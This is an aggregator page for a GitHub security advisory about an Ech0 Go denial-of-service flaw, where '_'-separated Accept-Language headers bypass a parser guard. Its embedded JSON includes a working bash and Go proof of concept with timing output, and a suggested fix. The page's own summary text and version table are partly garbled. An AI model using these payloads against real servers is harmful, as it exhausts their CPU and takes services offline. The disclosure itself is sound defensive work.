GHSA-mqxv-9rm6-w8qc: Ech0 ParseAcceptLanguage `_` Separator Bypass Enables Vulnerability
HIGHGHSA-mqxv-9rm6-w8qc is a HIGH parseacceptlanguage `_` separator bypass enables vulnerability (CWE-772: Missing Release of Resource after Effective Lifetime) affecting Ech0 libraries in the Go ecosystem. The issue involves parseacceptlanguage `_` separator bypass enables ~70x cpu amplification via accept-language header in i18n.middleware. Remediation is available in the latest vendor maintenance releases.
GHSA-mqxv-9rm6-w8qc at a Glance
How to Fix GHSA-mqxv-9rm6-w8qc
To remediate this vulnerability, upgrade all affected Ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lin-snow/ech0 to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lin-snow/ech0
How to Check if You Are Affected
To determine whether your application is affected by GHSA-mqxv-9rm6-w8qc, inspect your project dependencies for Ech0:
inspect dependencies for github.com/lin-snow/ech0
Analyze the terminal output to locate any version of Ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-772: Missing Release of Resource after Effective Lifetime, where the product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed. In Ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-mqxv-9rm6-w8qc Affected Ech0 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lin-snow/ech0
|
Go |
|
|
References
Frequently Asked Questions
What is GHSA-mqxv-9rm6-w8qc?
Which Ech0 versions are affected?
What version fixes GHSA-mqxv-9rm6-w8qc?
Is github.com/lin-snow/ech0 affected?
What CWE is associated with GHSA-mqxv-9rm6-w8qc?
How can I check Go dependencies for GHSA-mqxv-9rm6-w8qc?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mqxv-9rm6-w8qc",
"modified" : "2026-07-14T19:58:54Z",
"published" : "2026-07-14T19:58:54Z",
"aliases" : [ ],
"summary" : "Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware",
"details" : "### Summary\n\nEch0's i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below)\n- `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged)\n\n### Privilege required\n\nUnauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint.\n\n### Vulnerable code\n\n[`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213:\n\n```go\nfunc Middleware() gin.HandlerFunc {\n return func(ctx *gin.Context) {\n explicit := explicitLocaleFromRequest(ctx)\n acceptLanguage := strings.TrimSpace(ctx.GetHeader(\"Accept-Language\"))\n locale := systemDefaultLocale()\n if explicit != \"\" {\n locale = ResolveLocale(explicit, acceptLanguage)\n }\n setLocaleContext(ctx, locale, acceptLanguage)\n ctx.Next()\n }\n}\n```\n\n`setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`:\n\n```go\nfunc setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {\n if ctx == nil {\n return\n }\n normalized := ResolveLocale(locale)\n localizer := NewLocalizer(normalized, acceptLanguage)\n ctx.Set(ContextLocaleKey, normalized)\n ctx.Set(ContextLocalizerKey, localizer)\n ctx.Header(\"Content-Language\", normalized)\n}\n```\n\n`NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request.\n\n`ctx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, \",\"))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice).\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nThe middleware sequence on any HTTP request:\n\n1. The request enters `i18n.Middleware()`.\n2. `ctx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `setLocaleContext` is called with that value.\n4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n's `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered.\n\nNo size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container:\n\n```bash\ndocker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 100000, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w 'http=%{http_code} t=%{time_total}\\n' \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:18300/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18300/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) <= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := &http.Client{\n Timeout: 60 * time.Second,\n Transport: &http.Transport{\n DisableKeepAlives: true,\n DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires ('-' x 1MiB)\", buildPayload(\"-\", 1<<20))\n send(\"attack ('_' x 1MiB)\", buildPayload(\"_\", 1<<20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1<<20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1<<20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\nlin-snow/Ech0 v4.8.2 i18n middleware at\ninternal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer).\n\nTarget: http://127.0.0.1:18300/ payload=1048576 B\n\n warm-up header=0 B '_'=0 '-'=0 status=200 t=7.692458ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=2.666625ms\n baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=1.981333ms\n guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=200 t=21.445083ms\n attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=200 t=1.489513083s\n attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.501842542s\n attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.571093458s\n```\n\nSetting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, \",\"))` directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s.\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 2 - 8 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms |\n| 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s |\n| 1 MiB `_` separators with X-Locale: en | 1 MiB | ~7.9 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling:\n\n```go\n// internal/i18n/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send < 10\n\nfunc sanitizeAcceptLanguage(v string) string {\n if strings.Count(v, \"-\")+strings.Count(v, \"_\") > maxAcceptLanguageSeparators {\n return \"\"\n }\n return v\n}\n\nfunc Middleware() gin.HandlerFunc {\n return func(ctx *gin.Context) {\n explicit := explicitLocaleFromRequest(ctx)\n acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader(\"Accept-Language\")))\n locale := systemDefaultLocale()\n if explicit != \"\" {\n locale = ResolveLocale(explicit, acceptLanguage)\n }\n setLocaleContext(ctx, locale, acceptLanguage)\n ctx.Next()\n }\n}\n```\n\nThe same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`).\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lin-snow/ech0"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "< 5.0.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-mqxv-9rm6-w8qc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lin-snow/Ech0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770", "CWE-772" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-14T19:58:54Z",
"nvd_published_at" : null
}
}